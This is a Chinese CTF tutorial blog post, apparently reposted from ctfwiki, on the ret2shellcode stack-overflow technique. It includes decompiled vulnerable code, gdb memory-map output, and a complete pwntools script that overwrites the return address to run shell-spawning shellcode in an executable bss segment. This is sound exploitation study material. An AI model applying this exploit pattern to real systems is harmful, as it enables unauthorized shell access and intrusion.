棧溢出 簡本ROP ret2shellcode

ret2shellcode

原理

ret2shellcode,即控制程序執(zhí)行 shellcode代碼。shellcode 指的是用于完成某個功能的匯編代碼,常見的功能主要是獲取目標(biāo)系統(tǒng)的 shell。一般來說,shellcode 需要我們自己填充。這其實(shí)是另外一種典型的利用方法,即此時我們需要自己去填充一些可執(zhí)行的代碼

在棧溢出的基礎(chǔ)上,要想執(zhí)行 shellcode,需要對應(yīng)的 binary 在運(yùn)行時,shellcode 所在的區(qū)域具有可執(zhí)行權(quán)限。

例子

這里我們以 bamboofox 中的 ret2shellcode 為例

點(diǎn)擊下載: ret2shellcode

首先檢測程序開啟的保護(hù)

1

可以看出源程序幾乎沒有開啟任何保護(hù),并且有可讀,可寫,可執(zhí)行段。我們再使用 IDA 看一下程序

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

這時,我們簡單的調(diào)試下程序,看看這一個 bss 段是否可執(zhí)行。

gef?  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef?  r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 
Breakpoint 1, main () at ret2shellcode.c:8
8       setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
      6  int main(void)
      7  {
 →    8      setvbuf(stdout, 0LL, 2, 0LL);
      9      setvbuf(stdin, 0LL, 1, 0LL);
     10  
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef?  vmmap 
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx 
0xf7fd3000 0xf7fd5000 0x00000000 rwx 
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx 
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

通過 vmmap,我們可以看到 bss 段對應(yīng)的段具有可執(zhí)行權(quán)限

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

那么這次我們就控制程序執(zhí)行 shellcode,也就是讀入 shellcode,然后控制程序執(zhí)行 bss 段處的 shellcode。其中,相應(yīng)的偏移計算類似于 ret2text 中的例子。

具體的 payload 如下

from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

題目

  • sniperoj-pwn100-shellcode-x86-64
    轉(zhuǎn)載自ctfwiki

期末考了

偷下懶

到返回地址的距離求得方法和上文相同

科普

pwntools使用簡介

犯的錯誤

棧的概念理解錯

果然pwn是個很恐怖的東東

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容